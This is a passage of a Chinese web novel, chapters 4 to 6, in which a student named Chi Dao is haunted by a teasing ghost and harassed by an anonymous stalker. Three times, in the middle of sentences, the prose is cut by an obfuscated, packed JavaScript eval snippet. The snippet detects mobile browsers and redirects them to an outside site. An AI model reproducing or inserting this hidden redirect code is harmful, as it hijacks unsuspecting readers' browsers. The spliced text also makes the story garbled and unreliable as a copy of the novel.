“哎,那可惜……”惋惜的叹息声过后,又是恶劣地笑,“我偏要告诉你。”
费尽心思不想和他说话的迟岛:“……”有病。
“真不想知道?”他顿了顿,似乎在等着迟岛主动问他。
但迟岛本着他想讲就讲,不讲就滚的原则,面无表情地看着回忆中的自己甩空帆布包,一个眼神都没分给他。
“哈,没关系,没带动起观众的情绪是我的错。”
只要一点眼力见都没有,就丝毫受不到影响。
“哒。”貌似是一声响指。
“啪嗒。”空荡舞台剧上唯一的灯光骤然熄灭。
迟岛眼前可见的黑暗顷刻间旋转,身体都跟着飘忽忽的。
等拿回身体控制权的时候,身体正在不受控制地往前跌!
迟岛紧紧闭上眼捂住脑袋,摔下去的那一刻想的居然是这一幕怎么这么熟悉。
“当然熟悉,这是几分钟前的戏份。”
被一个冰凉带着潮意的怀抱接住,因为摔下的力道太大,原本还游刃有余调笑着的对方闷哼一声,后退一小步才站稳。
“哈,还挺沉。”
迟岛一怔,迅速后退一步分开两人间的距离,这次没有作声怼回去。
她想,她应该是明白了。
半响,“你没有心跳。”迟岛抬眼看向一旁的空气,平静的不像是再说一件吓人的事,而是在叙述一道命题。
再次拥抱的那一秒,万籁俱寂,她听到她胸膛里的心跳的很快,但……只有她的在跳。
迟岛自嘲的勾起嘴角,这个神经病又不是人,心当然不会跳。
对方没等来预料中的回怼,似乎是被突如其来砸过来的话砸懵了一瞬。
几秒后才又拖着轻佻的调子说:“当然没有,有心跳的那叫活人。”
“……有呼吸的也叫活人。”
“呼吸可以装,心跳不能。”
迟岛将到嘴边的话咽了回去,眉头微蹙,好幼稚,而且一点逻辑都没有,他怎么这么不像鬼?哦,梦里的鬼。
气氛诡异的凝固了片刻。
这时对方突然出声:“虽然很舍不得,但我觉得有必要提醒一件事。”
听他欠揍的语气就感觉不会是什么好事……
迟岛无语片刻,最终还是配合着演了一下:“说。”
“这位小姐不出意外的话,应该是坐过站了。”说话时像是在憋笑,显而易见的幸灾乐祸。
迟岛一惊,被口水呛到咳嗽起来:“咳咳……怎么现在才说!”这不比你这点破事重要多了?
“故意的。”欠揍的话说出口有些含糊不清,迟岛蹙起眉头没太听清。
“嗯?”
“没什么。”
声音渐渐变得不在清晰,车窗外月光飘渺如纱,地铁早就不知道驶过了青峦大学多久。
车上的乘客越来越少,只有少女还靠着窗户酣睡,微敞开的帆布包内,躺在课本上手机突然“叮咚”弹出一条短信,不小心亮了屏:
告诉我你在哪!不会是去和别的狗男人鬼混了吧!哈,我就知道,就你这种女人除了我谁能看上你……
4. 某只鬼先生你完蛋了
晚上十点,女生宿舍楼的灯将近熄了大半,查完寝的王雪梅叼着牙签,踏拉着拖鞋去关大门。
低头翻着丁零当啷的钥匙串,嘴里念叨着:“一群女娃娃没个叫人省心的,天天不消停,都这个点了居然有人还没回来。”
翻出钥匙准备拉门锁上,余光间瞥见了个不远处的身影,看起来应该是个男生,戴着鸭舌帽又扣着卫衣帽子,站的地方又偏僻,大晚上根本看不清样貌。
王雪梅心里的雷达立马滴滴地响,多年来当年来的经验告诉王雪梅,这人保准不对劲!
呸掉嘴里的牙签,伸着脖子开始朝那人喊:“干嘛的!没瞅见这女生宿舍?大晚上在这晃什么晃!”
撸起不存在的袖子,王雪梅正准备再来几嗓子,那人却后退一步,转身飞快地跑进了一旁的小树林。
“切,就这点胆子。”嘴上嘟囔着把门一拉,“咔哒”干脆利落上了锁。
“阿嚏!”从出租车上下来,拿包的迟岛打了个喷嚏关上车门。
“小姑娘,八块钱。”司机探出身子比了个手势。
“叮咚,收款到账——八元。”迟岛指尖微顿,淡淡地垂眼看着付款界面:“过去了。”
“好嘞。”司机的声音隔几秒后才飘到耳朵里,出租车呼啸而过,带起的风吹乱了迟岛的长发。
迟岛却还在看着付款界面愣神,脸上看起来依旧没什么表情,指尖却在手机屏幕上多停留了一秒钟。
平白无故丢了八块,1113块8毛减八块,这给她本就贫穷的生活更加雪上加霜……
这都怪……她顿了一下,带着恼意,泄气般地熄灭屏幕,算了,就当破钱消灾,反正以后又不会再见。
背上包,迟岛慢慢悠悠地溜达在学校路上,随脚踢着路边挡路的小石子。
这都十一点了,现在不管是跑回去还是走回去,都要挨宿管阿姨一顿骂吧?
可下过雨的夏季此时吹过来的风带着些凉意。
迟岛缩缩脖子,裹紧身上的薄纱外套加快了脚步。
模糊的夜色中,宿舍楼终于出现在视野里,迟岛揉搓下外套袖口停下脚步,嘴角扬起一个乖巧的笑,准备迎接来自宿管阿姨的狂风暴雨。
抬手扒拉整理着头发,一会怎么说?抱歉王姨,我被一只鬼缠住了,经历千难万险才回来。
……虽然是实话,但有人信吗?
迟岛嘴角的乖巧地笑僵了僵,整理头发的那只手不小心扯下来了几根发丝。
……都怪他。
冷淡地垂眸,摊开手心扔掉头发,还不如说是遇见神经病来得靠谱。
正欲走,“啪嗒。”
像是迟岛不小心踩到路面的水洼,又像是某人故意按下的相机快门,不大的声音在寂静无人的夜里回荡着,格外清晰。
迟岛脚下一顿,低下头,将悬在半空还未落地的脚缓缓收回,发出声音的不是她。
面无表情地回头看向一旁的树林,心里除了厌恶,没什么太大的情绪起伏:哦,阴魂不散的垃圾丢出去又回来了。
黯淡的路灯下,身后树林里的某处灌木似乎在晃,不仔细听也不会注意到那细小的窸窣声。
今天遇到的神经病怎么格外的多?
迟岛看了一会就漠然地移开视线,翻出手机解锁,比起这个好像还是那个鬼稍微顺眼点。
点开短信,果不其然又看到满屏骚扰的辣眼文字……迟岛无语片刻叹了口气,瞥向那片灌木丛。
“又是你?”话问出口,又自问自答地接上后面:“哦,我都忘了,整天躲在阴沟里,羡慕别人过得好的除了肮脏的老鼠,还能是谁?”
她声音放得很轻,甚至还带着笑,如果忽略内容的话,听起来倒像是在和熟人讨论今天的天气。
窸窸窣窣的灌木丛没了动静,连风都像是刻意屏住了呼吸,迟岛说完话后是良久的沉默,仿佛这里自始至终确实只有迟岛一个人。
低头划拉着手机,迟岛又突然开口:“我知道你。”微弱的冰蓝色手机光打在迟岛脸上,方才还在笑的人此时整个人都散着冷气。
“但不记得你,就算你一直来找我,也不想认识你。”她垂下眸子,随手将屏幕熄灭,长睫毛把眼里的情绪遮挡了大半,琥珀色的眼底看似依然波澜不惊。
回应她却是只有故障不良闪了几下的路灯,迟岛忽然嗤笑一声:“毕竟,没人会记得住垃圾。”
转身要走,却像是又想到了什么,随即头也没回地说道:“还有你发的短信,真的很令人发笑。”
甩下这句话,迟岛便没再停留。
微风吹过树林和灌木丛发出沙沙声,叶子上的雨水一连串滴在泥土上,那里似乎从未有人来过。
她快走几步走到宿舍大门前,握上门把手拧了拧果然没拧动,愣神般地松开,打开手机给宿管阿姨发信息。
不过多久对方就有了回复:在门口等着!
背靠着宿舍的玻璃门,听话在门口等,半响,迟岛呆愣愣地摩挲着指腹,虽然脸上未曾有过什么表情变化,
但其实她心情不大好……停下摩挲将手翻过来看向手心,没有具体的词来形容这个感觉,胸口堵堵的……
“你没有心跳。”
“当然没有,有心跳的那叫活人。”
“有呼吸的也叫活人。”
“呼吸可以装,心跳不能。”
但好像也不是所有的活人都有心跳……坏情绪突如其来的时候,脑海里好像总是会闪过些莫名其妙的回忆。
意识到自己在想什么,迟岛猛地清醒过来,脸上满是嫌弃,晃晃脑袋把乱七八槽地都赶出去。
然后恰巧扭头的功夫,余光瞟到玻璃门内双手抱胸,面无表情盯着自己的王雪梅。
迟岛:“……”她转过身后退一步,给王雪梅留出开门的空间,怯怯地叫地一声:“王姨。”
王雪梅斜着瞥了她一眼,把门拉开了一条缝,身体正好挡住进去的路,朝迟岛扬扬下巴:“说说吧迟岛同学,这是这一个月第几次了,你上周答应过我什么?”
迟岛低头盯着自己的鞋尖,声音听起来闷闷的:“第三次……保证下次不会了。”
但这才刚月初……
可少女站在夜色里低头乖巧回答问题,默默挨训的样子,莫名让人讲不出什么重话。
本想端起架子和她好好说道的王雪梅,准备了一肚子的话瞬间哑火。
这时按照流程,迟岛只要再小心翼翼地抬眼说一句:“我保证,下次一定在宵禁前回来。”
就算王雪梅知道迟岛是什么德行,但当视线对上那双含着水雾的琥珀色眸子时,也彻底没了话讲:“你……哎,那你说说这次是因为什么?”
音量比刚才低了不少,质问的态度明显软了下来。
迟岛赶紧顺着台阶下来,但装得到底是不够走心,刚才又没有来得及想理由,情急之下脱口而出的变成了:“遇见神经病了。”
被迟岛的乖巧迷惑的王雪梅骤然清醒:“……”
一时嘴快,现在恨不得钻地缝的迟岛:“……”
迟岛的脑袋飞速运转想着怎么把话圆回来:“咳咳,就是我看到有个人在宿舍附近乱晃,很害怕,就绕了条路。”
“什么!是哪个王八犊子!我找他去!”
眼见注意是被转移了,但就是对自己的耳朵不太友好。迟岛退后一步避免王雪梅的唾沫星子喷自己脸上,在她急切地注视下稍稍摇了摇头。
“去他娘的,想起来了,刚才就瞅见个人裹得严实往那边晃!老娘当时就应该报警把他抓起来!”
王雪梅粉色睡衣上的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724063|173971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
兔耳朵晃来晃去,头顶松松垮垮的丸子头都要散了。
义愤填膺说出的话十里八乡都能听见,在寂静的夜里格外的有安全感,当然如果你不睡觉的话。
迟岛悄悄松口气,侧身进门揽住她的肩膀,压低声音小声提醒:“小点声王姨,大家都睡了。”
王雪梅全然没发现,迟岛就如此自然而然地混了进来,想着眼前的女孩子估计被吓到了,想安慰几句,又不知道怎么开口。
几次欲言又止,最后憋出一句:“那你没事吧小岛?”
“没事,就是要另外找房了。”回到宿舍洗完澡,迟岛盘腿坐椅子上赶着多媒体作业,吃着冰激凌回答室友的问题。
容柔柔划拉着转椅凑到迟岛旁边,向她的冰激凌伸出勺子:“话说为啥非要出去住啊?宿舍不也挺好的。”
迟岛正咬着勺子盯着笔记本思考,拿冰激凌的那只手却感觉越来越轻,转头一看盒子里冰激凌被容柔柔挖走了大半……
干脆把冰激凌全都塞她怀里:“吃吃吃,胖死你得了。”
容柔柔满意地看着手里的冰激凌,又挖了一大勺塞嘴里:“明天一定减肥,你还没回答我的问题呢。”
迟岛一怔,敲键盘的动作跟着一顿:“因为……”想起手机里一条条的匿名短信,和无风自动的灌木丛。迟岛默了默,没有说完后面的话。
见迟岛不是很想告诉的意思,容柔柔放下手里的冰激凌急忙说:“没事啊没事,不方便说就算了。”
迟岛朝她笑笑,看回电脑屏幕:“这有什么不能说的,不就是深夜赶稿的话,宿舍关门就总是睡画室。”
虽然迟岛说起来好像毫不在意的样子,但看起来却似乎有些……悲伤?容柔柔左右看了一下想找个人救场,但现在其他室友都不在,宿舍里就她们两个人。
扫向书桌时看到了买回来一页没撕的台历,心下突然有了主意,重新笑开推了推迟岛:“小岛小岛,你不是快生日了吗?你猜猜我送你什么?”
迟岛头也没回:“还有一个月,你记错了,这个月是江星冉的生日。”
容柔柔尴尬地咳嗽两声,不敢说是自己记错了:“咳咳,猜猜嘛,我提前准备好了。”
迟岛随口道:“零食?”去年送的就是这个。
“不对。”容柔柔故作高深地晃晃食指。
迟岛:“……你直接说不行?”这其实就是不知道咋猜了。
“当当当当。”容柔柔不知道从哪变出来个白色植绒的小盒子。
迟岛满脸问号地接过打开,只见红色的绒布上是个小小的银十字架项链。
沉默了片刻最后憋出来一句:“……杜绝封建迷信。”现在最讨厌看见这些东西了。
把盒子扔还给容柔柔:“不要,你还不如继续给我送那些油腻腻的零食。”
“你怎么能这么说我的宝贝!”又把盒子送到迟岛跟前:“你再看看嘛,最近很流行的款式,还是纯银的呢!”
“不要。”
眼见迟岛还是油盐不进,容柔柔气鼓鼓地坐回自己的椅子,嘟嘟囔囔地念叨着:“爱要不要,听专柜说这还能驱魔呢,我自己留着哼。”
驱魔……被某个关键词唤起记忆,想起中介那个异样的金佛牌,迟岛把注意力从ppt上移到那个小盒子上。
这些应该都差不多吧?鬼和魔有什么区别?一样的吧。
经过一系列的头脑风暴后,站起身从容柔柔手里抽走盒子:“我要。”
容柔柔有点懵:“你不是?”不要来着。
迟岛重新坐下滑动着屏幕,唇角扬起一抹愉悦的笑,另一只手的指尖轻轻敲着那个小盒子:“不是我的礼物?现在提前要了。”
说这话的时候她眼底划过一抹狡黠的笑意。
某只鬼先生,你完蛋了。
5. 他笑点真低
深夜,拿着画笔的迟岛小心地在画稿上,添上最后一笔高亮。
画完后又观察片刻,确定没有任何问题才缓缓吐出一口气:“呼……搞定了。”
往后一仰靠上身后的墙,困得睁不开眼,下意识把画笔上的颜料往自己白衣服上抹,看胸口杂乱的颜料就知道她已经抹过不止一次了。
一旁还在调颜色的男同学听见,抬头刚想开口说话却先打了个哈欠:“哈——你弄完了啊迟岛,完了你也别睡,这可是背叛组织。”
迟岛闻言撩起眼皮瞥了他一眼,没说话但意思不言而喻:你们也配和睡觉比?
男同学又打了个哈欠,手上机械地加着白颜料:“我懂这意思了,居然这么不自量力,拿自己跟睡觉比。”
“就是,也不看看自己几斤几两,颜色调好了没?你都调了快半小时了。”另外一起深夜赶工的女同学从画架后探出头。
催完男同学,转头对迟岛说话的时候又换了语气:“迟岛弄完了?好快哦,好像每次你都是最先走的。”
迟岛没睁眼,只是点点头表示自己听见了。
女同学啃了一口手里的方便面面饼:“但都这个点了,宿舍早关门了,是在外面租房子住吗?没有的话还是在画室凑合一晚吧,我带了毯子。”
迟岛又点点头,脑子慢半拍的反应过来人家说了什么,睁开眼坐起来抓抓头发:“不用谢谢,我趴窗台上睡就行。”
搬着椅子走到窗边,趴窗台上闭眼前随口嘟囔了一句:“冯小辉别往死里加你那大白了,加四分之一份的群青。”
搅颜料的冯小辉下意识嗯了一声,起身去拿群青的时候才回过神来,再看向迟岛时她的呼吸平稳,显然是已经睡着了。
画室里挥之不散的水粉颜料味缭绕在鼻尖,哗哗的涮笔声和刮铲的咔咔声虽然不大,但胜在扰人。
可尽管这样,累极了的迟岛却不出几秒便睡沉了。
直到太阳堪堪升起,最早的那束光洒在迟岛眼睛处,她呼吸乱了半拍,睫毛投下的阴影轻颤。
睡眼惺忪地睁开眼睛又被光刺到,快速眨眨眼,重新趴下把脸埋进胳膊里。
“早,醒了?”
“嗯。”发出的声音闷闷的,不凑近听都听不清说了什么。
半响,似乎是觉得不礼貌,迟岛也回了一声:“早。”
“不早了,这样也能睡到天亮,好厉害。”轻佻的语气像是柔软的羽毛轻轻拂过耳畔,即便话的内容很像是无底线的纵容,但上挑的尾音又让人莫名火大。
脑袋蹭着外套袖子,试图找个舒服姿势的迟岛动作一顿,头上支起来的呆毛却颤了颤。
暖橘色的阳光下,发丝被照得毛茸茸的,显得平时冷冰冰的人格外可爱。
“哈。”就连轻笑声都带着吊儿郎当的散漫意味。
实在受不了这鬼了,迟岛猛地坐起身看向身后,阴阳怪气回去:“笑什么笑,羡慕我能睡觉,还是羡慕睡眠质量好?”
烦死人,这几天每次睡觉都能梦见他。这鬼第一次见面时说的话一语成谶:就猜……以后的梦里会不会都有我?
空无一人的画室里,稿子撒了一地,清晨的阳光照进来,此时能看见空中漂浮的尘埃。
意料之外,这次良久都没有等到对方怼回来,迟岛有些迟疑,嘴角嘲讽的笑渐渐淡下去。
“喂,吵不过就跑?”
而对方却像是终于憋不住笑,扑哧一下笑出声。
迟岛一愣,随即皱起眉头:“笑什么,你这笑点能不能改改?真的很低。”
他笑得停不下来,空画室里回荡着低低的轻笑,少女蹙着眉,面露嫌弃地看向一旁没有人的椅子。
看似美好治愈的画面故而显得格外——荒诞。
迟岛:“……要不去医院挂个号?反正你出门不用坐车,挂号不用排队。”
笑声渐渐停下来,忽然间一股冷气猝不及防地凑近,来得毫无预兆,迟岛呼吸一滞,心跳都漏了半拍。
下意识往后仰,椅子腿划过地面带起尖锐的“滋啦”声。
半响,恶鬼并没有像电影里一般过来掐住她的脖子。
即使看不见他的动作,但感觉到了脸颊上的丝丝痒意,他就好像弯着腰凑近,用指尖在她脸上若即若离地临摹着些什么。
迟岛:“……”别治了,这都埋了几年了。
睁开眼,蹙眉打掉面前根本看不见的手:“你冒犯到我了。”
换个正常人这时候就应该识趣地停下道歉了,但奈何迟岛遇见的不是正常人,正甚者不是人……
所以虽然他停下了动作,但戏谑地调侃,不知死活地在离她几厘米的地方响起:“胆小鬼。”
在说她刚刚躲开的事……
迟岛噎了一下,别扭地不知道怎么回话,干脆淡淡地侧开头装作没有听到。
“噗嗤。”
迟岛一怔,重新回过头来,对着身前的空气拳头渐渐攥紧,终于忍无可忍道:“到底总在笑什么!”
身边的寒意散了些许,他离开了,没等迟岛嗤笑出声。
几秒后,面前突然出现一面画室的四方镜,近得快贴到鼻尖上,迟岛诧异地看着里面的自己。
他听起来像在努力压着笑意,面前被他拿着的镜子都跟着轻微颤动:“左右脸上的压痕还挺对称,连起来像颗心。”
又火上浇油的补了一句:“好傻。”
迟岛:“……”是趴窗台睡觉时的压出来的印子。
不知道怎么不知不觉地又和他搭上话了,还是这么没有意义的话题,迟岛觉得刚才真是脑子抽筋了,垂眸面无表情地揉揉脸。
“迟岛,迟岛?”
谁在说话?四处看去,眼前的画室渐渐崩塌,化成发着光的粉末消失不见。
“迟岛,醒醒。”一起赶工的女同学又轻轻晃了晃迟岛。
她疲惫地睁开眼睛,对上女同学的视线,刚睡醒的声音有点哑:“鹿晓?怎么了?”
“你好像发烧了。”鹿晓试探着摸了摸迟岛的额头,焦急地皱眉,“整个人都好烫。”
迟岛混沌的脑袋有点没反应过来,良久才:“……哦。”
“我是赶完稿后过来给你盖个毯子。”鹿晓把手上的毯子盖在迟岛身上,“虽然是夏天,但夜里还是凉。”
迟岛整个人都有点呆愣愣的,不太习惯地摸摸身上柔软的毯子。
上面的图案是个毛茸茸的蓝胖子,很有少女心,半天才恍然想起来回话:“谢谢,我回头还你。”
鹿晓显然没想到,迟岛现在都这样了,想的居然是还毯子的事,连忙拜拜手:“不,不用,大家都是同学。”
迟岛撑着窗台站起身:“嗯,谢谢。”
眼睁睁看着迟岛裹着毯子走出画室合上门,鹿晓都没有回过神来。
这个同学,好像不太喜欢麻烦别人……
回到宿舍,室友们都去上早八了,她今天刚好没课,本来就计划在宿舍补觉来着。
脑袋里乱成一团,浑身也使不上一点力气,但不可能就这么睡下。
她叹口气,在长年不用的药箱里翻出退烧药,嘴角扬起一抹自嘲的笑。偏偏在最没钱的时候生病,起身走进洗手间打算洗把脸,站定在洗手池前。
迟岛鬼使神差地抬头看了眼镜子,莫名其妙地揉了揉脸,几秒后反应过来自己干了什么:“……”
迁怒地用力关上手龙头,神经。
出来给自己倒了杯热水,打算吃完药,睡一觉看看会不会好,钱包里的钱是真的不允许她去医院。
等水凉的间隙,迟岛拿出手机打算翻翻有没有错过什
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724064|173971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么重要的信息。
刚打开屏幕,率先弹出来的是好几条不同号码的匿名短信:
我是肮脏的老鼠你又是什么?老鼠的窝吗?哈哈哈。
管好你自己,不要让我看到你和别的狗男人鬼混!当然,也别想着找到我,别想着摆脱我,只要我永远不露脸,你报警也没用。
哦,对了,给你欣赏一下我昨天晚上的新作,我喜欢得不得了……
对方洋洋得意的语气透过文字,带着恶臭味的血淋淋摊开,像是把迟岛当成了他的私有物一般,恶心……
迟岛紧咬着牙关,握着手机的指关节逐渐发白,感觉身上更难受,捂着脑袋缓缓地弯下腰,额头上甚至开始冒汗。
那变态发过来的是一张照片,是昨天晚上迟岛趴在窗台上睡着的背影。
少女一无所知地睡得恬静,不止衣服,脸上也有几抹颜料,安静又美好,几乎能听到她平稳的呼吸声。
但……迟岛漠然地闭上眼睛,发丝遮住面容,透过门上的玻璃窗,偷窥拍出来的照片,又何谈美好。
“咳咳。”嗓子一紧,这才感觉到疼。
水已经凉了,迟岛吞下药,宛若没骨头般地趴到书桌上。
她知道这变态会偷拍她,但之前从没向她发过照片,也正如他所说没有证据怎么报警。
迟岛没见过他,他又每次都远远地躲着一句话不说,短信也是匿名。
这事也需要慢慢来,所以还是要找个房子……
这下转来转去又绕回了迟岛最头疼的点。
趴得不太舒服,迟岛转过头想换个姿势,余光一瞥,看见了容柔柔不久前送的项链盒子。
白色小盒子静静待在那,并不算显眼,似乎一直在等人发现。
容柔柔送的十字架项链,迟岛拿过盒子捏在手里翻过来翻过去,或许……倏然,原本黯淡的眸光一亮。
腾地坐直身子,拿过一旁的手机点开沈昭凤的头像,开始哒嗒嗒地打字:沈姨,我考虑了一下,想租下房子。
对方回得很快,迟岛动动手指,点开发过来的语言:“真的!真考虑好了?别反悔啊,我跟你说今天又有一个来看房子。”
这条听完,迟岛叹口气,就知道这人又开始演了,果不其然点开下一条:“我是跟你关系好,才特意给你留着。”
后面的语音迟岛听都没有点开听,转文字大致扫了一眼,基本都是废话……
直接打字回应:我今天刚好有时间,现在过去你方便吗?
点开对方的语音:“现在?我陪人看别的房呢……”
迟岛指尖的动作一顿,半响才继续打字:“不如把钥匙给我,我自己先看看,抽空再签合同。”
“行行行!那就交给你了!”沈昭凤巴不得再也不去那个阴气森森的地方,自然很爽快地答应。
下午两点,迟岛拿着房门的钥匙站在房门口,右手紧紧攥着手里的十字架,手心都被硌出了红印。
这道几天前才打开的门现在紧闭着,之前不觉得,但自从知道里面可能有鬼后,再看它都似乎散发着黑气。
像是一道封印,打开以后便会一脚踏进深渊。
如果那个鬼,不仅仅是存在于她的梦里,那应该很危险……
迟岛手指缓缓揉着太阳穴,嘶……脑袋还是晕乎乎的,但刚刚吃的药似乎还顶点用。
伸手握上门把手,拧开的动作顿了顿,可是……这毕竟不是梦,人和鬼打起来一点胜算都没有。
心里的担忧,在视线扫到手上的十字架项链时,莫名又有了底气,管他呢,穷鬼不是鬼?
打开门走进去,往后把门轻轻一推,没有彻底关上。
几秒钟过去,明明没看到人,但门把手却被轻轻地压下去,彻底关上门的时候更是没有发出一丁点声音……
6. 好天才的想法
迟岛刚踏进房门,空气中弥漫着的灰尘几乎要把她淹没,向上提提口罩神色未变,毅然决然地迈步走进房子掩上了门。
至于为什么不关?打不过总要能逃的出去吧?
不知道这都多少年没打扫了,即便戴着口罩都能隐约闻见霉味。
迟岛试探着向前走几步,纤长的指尖,划过罩着防尘布的沙发,捻捻沾在指尖上的灰。
同样铺满灰尘的地板上清晰地留下一串脚印。
阳光照这间封尘已久的客厅内,少女在各种罩着防尘布的家具中穿梭,扬起灰尘,明明阳光正好,但看起来一片朦胧。
真的能看出原主人很爱干净,迟岛一连看了好几个房间,一点垃圾都没有看到,只有灰尘和蜘蛛网,这些时间久了不可避免的东西。
不过……她来到窗边,拉开窗户想要通通风,清新的风吹起来,屋内的味道散了不少。
吹气迟岛额前的碎发,闭闭眼觉得脑袋都不怎么疼了。
蹙起的眉头总算舒展开,如果没猜错的话,那遇到的鬼是上一任的租客?怎么死的?谋杀?自杀?
其实这个问题她一直很好奇,迟岛是那种只要有问题就会一直想办法把它解开的人,换句话说,是有点爱钻牛角尖。
不过对此,这个问题倒是个例外,因为实在讨厌问题的主人,迟岛一直把它压在心里从没仔细想过。
“沙沙沙——”窗外骤然吹起的微风拂过银杏树,唤醒迟岛的思绪。
她脸上原本的表情一僵,低下头,秀气的眉毛又重新拧成一团。
冷酷地拍掉掌心的灰,满脸的不耐烦,想他干嘛,浪费时间还一点必要都没有。
拍不掉的还沾在手上,很不舒服,迟岛抬头淡淡地看向洗手间,脚尖方向一转朝那边走去。
那么多年没交水费应该出不了水,迟岛就是想起来检查下水管,谁知道放了这么久会不会风化。
站在洗手池边的迟岛如是想到,不经意间地抬头,见到了同样落满灰的镜子。
迟岛:“……”现在的剧情发展和恐怖片里的如出一辙。
即使心里这么想着,迟岛还是鬼使神差地伸手擦了擦镜子,毕竟这一趟也算是来找鬼的。
但……没反应,网络延迟?迟岛顿了顿又擦了一下,这次还特意等了几秒。
不知道具体等了多久,迟岛耐心耗尽地垂下手,抽出纸巾擦手。
就说嘛,世界上哪来那么多超自然的事情发生,又恰巧找自己撞上了。
至于之前的梦……会不会就是自己最近太累了产生的幻觉?那几天确实一直赶稿,接稿来着。
不过……迟岛垂下眸子,漫不经心地擦着指尖的缝隙,并没有想象中的开心怎么回事?
拉开洗手间的门,走出客厅,迟岛脚步一顿,站在原地久久没有下一步动作。
她嘴唇微微张开,琥珀色的瞳孔里映着的,是高高扬到半空的窗帘。
悬在客厅正中间的水晶吊灯上的玻璃片相互碰撞,“叮叮当当”的格外好听,如果它看起来不摇摇欲坠的话。
迟岛回过神,在牛仔裙口袋里翻出了十字架项链,紧紧地攥进手里。
心脏砰砰地跳得厉害,面上却波澜不惊地悄声一步步退到了门边。
“下午好~”揶揄的调笑乍然在耳边响起,迟岛一惊,猛然后退一步,背抵上了房门。
不对……迟岛手指不动声色地摸向门缝,门是什么时候关上的!
脑袋现在确实不太清楚,但迟岛明确记得自己并没有关上门。
可这件事又并不难想,她冷冷地抬眼,毕竟罪灰祸首就在眼前,就是肉眼看不到,揍也揍不了而已。
“我还以为你不会再来了。”方才明明礼貌地问好,就被吊儿郎当的语气说得不伦不类。
现在这句话又是满满的挑衅意味。
潮湿的水汽仿佛空旷田野的下雨天,将迟岛层层包裹住,密不透风,逃无可逃。
她下意识屏住了呼吸,垂眸看向脚下的地板,将手里的项链越攥越紧。
窗外风刮得猛烈,无比凉快的同时,熟悉晕眩感袭来,迟岛脚上一个踉跄差点直直摔下去。
大片厚重的云遮住太阳,屋里重新暗了下来。
迟岛扶住门框稳住身形,心里现在一点害怕都没有了,甚至是怒极反笑。
神经病啊这鬼!每次出场都这么大阵仗,真把自己当男主角了。
捏着手里的十字架项链,就希望它此时此刻就赶紧生效,最好以后永远可以见不到这家伙。
但在她看不见的地方,昏暗中隐隐约约才能看到的少年,嘴角勾起一抹浅笑,视线扫过少女手中攥着的十字架,眼底闪过玩味的光。
不知所谓地继续向她靠近,直到把人逼进墙角,才又压着嗓子继续开口:“知不知道这是谁的地盘?”
透明的指尖勾起她身前的长发,又果不其然地穿透他的指尖,落回她的胸口。
他神色未变,只是意料之中地挑起眉梢,拖着调子开口:“敢一个人就进来,不怕被恶鬼生吞活剥吗?”
说的话一如既往地恶劣。
迟岛此时只觉得脑袋越来越沉,耳边的声音好像从很远的地方传过来,她耷拉着眼皮蔫蔫地没有回话。
那鬼似乎是因为没有得到预期中的求饶回复,“不小心”触碰的迟岛拿着手链的那只手,又触电般地收回。
“哎呀!好疼,这是怎么回事,你身上到底有什么。”刚开始略显夸张的语气,越到后声音渐渐弱了下去,用着气音急促地喘着气。
跟真的一样……
但奈何昏昏沉沉的迟岛一点没发现前面的异常,只听到了后面惨兮兮的痛呼声。
她摊开手呆愣愣地看向躺在手心的十字架项链,几秒后嘴角扬起一抹笑。
没想到还真管用啊……
“啪哒。”听起来像是打火机的声音,迟岛眼底带上诧异,但还没等她搞清楚。
空中就莫名出现一团火焰,接着就是对方压抑着的痛呼。
“身上着火了,你到底做了什么,好害怕啊我不会消失吧……”茶里茶气的话……
他说出口的话断断续续,像是实在疼得不行,声音的来源从迟岛上方到了膝盖处的位置。
迟岛蔫蔫的琥珀色眼睛瞪大了些,不会是疼得忍不住蹲到地上的了吧?手上摩挲着项链上的十字架
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724065|173971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,有些犹豫。
半空中微弱的火苗闪闪,在刮起的风下,似乎随时都可能熄灭。
之前一直吊儿郎当,说什么都像是在调侃的声音,现在听来惨兮兮的,但还是在笑:
“好厉害啊,虽然不知道你用了什么办法,但……我现在要消失了,临走前我……咳咳,我有一个愿望。”
迟岛沉默片刻,这听起来怎么有点像留遗言。
“这是我最后的愿望……你,能不能答应我?”
感觉不答应的话这家伙快碎了,迟岛揉揉脑袋,忍着难受保持冷酷地说:“快说。”
“我的愿望是……是……是……”
时间一分一秒过去,他还是没有憋出一句话来,迟岛的耐心告急,干脆垂下手倚在墙上开口:“好了,你憋不出来还是别讲了。”
这次对方却没有像往常一样怼回来,又或许是没力气了,他嗤笑一声有气无力地说:“是啊,我也不知道自己的执念是什么。”
迟岛顿了一下,缓缓地垂下眼,第一次觉得自己说出的话好像有点伤人,哦,伤鬼。
